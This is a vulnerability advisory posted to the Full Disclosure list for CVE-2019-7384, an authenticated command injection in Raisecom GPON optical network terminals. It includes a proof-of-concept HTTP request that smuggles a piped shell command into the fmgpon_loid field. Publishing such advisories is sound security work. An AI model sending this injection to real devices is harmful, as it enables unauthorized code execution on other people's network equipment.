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[FD] KSA-Dev-005:CVE-2019-7384: Authenticated Remote Code Execution in Raisecom GPON Devices
- To: fulldisclosure@xxxxxxxxxxxx, bugtraq@xxxxxxxxxxxxxxxxx
- Subject: [FD] KSA-Dev-005:CVE-2019-7384: Authenticated Remote Code Execution in Raisecom GPON Devices
- From: Kingkaustubh via Fulldisclosure <fulldisclosure@xxxxxxxxxxxx>
- Date: Tue, 12 Feb 2019 14:41:51 +0530
=====================================
Authenticated Shell Command Injection
=====================================
. contents:: Table Of Content
Overview
========
Title:- Authenticated Shell command Injection
Author: Kaustubh G. Padwad
CVE ID: CVE-2019-7384.
Vendor: Raisecom technology co.,LTD
Product: GPON-ONU HT803G-07 (could be more who shares the same codebase)
Potentially vulnerable
ISCOM HT803G-U
ISCOM HT803G-W
ISCOM HT803G-1GE
ISCOM HT803G
Tested Version: : ISCOMHT803G-U_2.0.0_140521_R4.1.47.002
Severity: High--Critical
Advisory ID
============
KSA-Dev-005
About the Product:
==================
The Raisecom GPON optical network terminal (ONT) series provides a flexible mix
of residential access services including high speed data, IPTV, voice and CATV
services compliant with the ITU-T G.984 standard. In particular, the Raisecom
ONUs are designed for Ethernet data services, voice over IP, IPTV, CATV,
wireless router accessing and convenient USB2.0 home network storage
connections for various application scenarios, such as residential triple-play
service and business connections. The GPON ONT series offer flexible choices in
terms of downlink types and numbers, such as, GE/FE auto-adapting Ethernet
ports, POTS (FXS) interfaces, RF port and WiFi function compliant with IEEE
802.11b/g/n. All GPON FTTX ONUs offer advanced end-to-end management and
monitoring functionality, and the GPON series can be managed under the Raisecom
NView platform.
Description:
============
An authenticated shell command injection issue has been discovered in
Raisecom ISCOM HT803G-U, HT803G-W, HT803G-1GE, and HT803G GPON products with
the firmware version
ISCOMHT803G-U_2.0.0_140521_R4.1.47.002 or below. The value of the fmgpon_loid
parameter is used in a system call
inside the boa binary. Because there is no user input validation, this leads
to authenticated code execution on the device.
Additional_information
======================
The value of fmgpon_loid parameter is parse to system call in implimentation of
application code inside boa binary and since their is no user input validation
this leads to authenticated code execution on device
Vulnerability Class:
====================
Authenticated Shell Command Injection
Attack Type
===========
Local
Impact Code execution
=====================
true
Attack Vectors
==============
To exploit this vulnerability one must have to visit the crafted page or have
to parse the proper crafted request to the device
How to Reproduce: (POC):
========================
POST /boaform/admin/formgponConf HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/gpon.asp
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
fmgpon_loid=%7c%20ping%20-n%2013%20127%2e0%2e0%2e1%20%7c&fmgpon_loid_password=raisecom&fmgpon_ploam_password=1234567890&apply=Apply+Changes&submit-url=%2Fgpon.asp
Mitigation
==========
This issue is fixed in latest firmware as per vendor.
Disclosure:
===========
28-NOV-2018 Discoverd the Vulnerability
28-NOV-2018 Reported to vendor
10-Dec-2018 Recived confirmation from vendor regarding fix
04-JAN-2019 Request for the CVE-ID
04-FEB-2018: CVE assigned
credits:
========
* Kaustubh Padwad
* Information Security Researcher
* kingkaustubh@xxxxxx
* https://s3curityb3ast.github.io/
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad
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